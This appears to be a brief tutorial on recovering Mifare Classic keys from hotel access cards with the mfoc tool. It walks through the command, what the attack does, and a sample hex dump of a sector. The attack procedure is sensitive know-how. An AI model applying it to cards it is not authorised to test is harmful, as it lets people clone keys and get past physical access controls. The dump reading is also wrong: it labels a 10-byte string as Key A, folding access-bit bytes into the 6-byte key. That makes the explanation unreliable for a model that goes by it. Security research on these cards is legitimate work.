Mifare Classic Key Recovery

  • To attempt to recovery the key, ensure the card is on your reader, and the reader is plugged in

mfoc -O myoutput_file.mfd
  • This command should generate an output file

  • Note: This command can take in excess of 20 minutes to run as it is attempting to recovery the keys....be patient, get a coffee, touch grass.

  • mfoc will attempt to recover the A and the B keys for all blocks.

    • It will first loot to attain one key (like the default key) and use it to recover the other keys

    • The time it takes varies greatly between different hotel cards

    • Once the key is recovered, all data will then be extracted

      • This includes key information and authenticated data.

      • All will be included in your -O output file.

  • Should mfoc be successful use xxd to view the key contents

xxd output.mfd
Block 0: 4c00 2200 0000 0000 0000 00c1 0000 0050 # DATA
Block 1: 4c00 2200 0000 0000 0000 00c1 0000 0050 # DATA
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 # DATA
Block 3: 2b2d 11bb 12ab ff08 8069 ffff ffff ffff # Key A, Access Bits, Key B
  • Key A is 2b2d 11bb 12ab ff08 8069

  • Key B is ffff ffff ffff

    • ffff ffff ffff is the default key used with Mifare Classic cards so it is very common to see

  • If you ever dump a card and its all ffff

  • The card is blank....
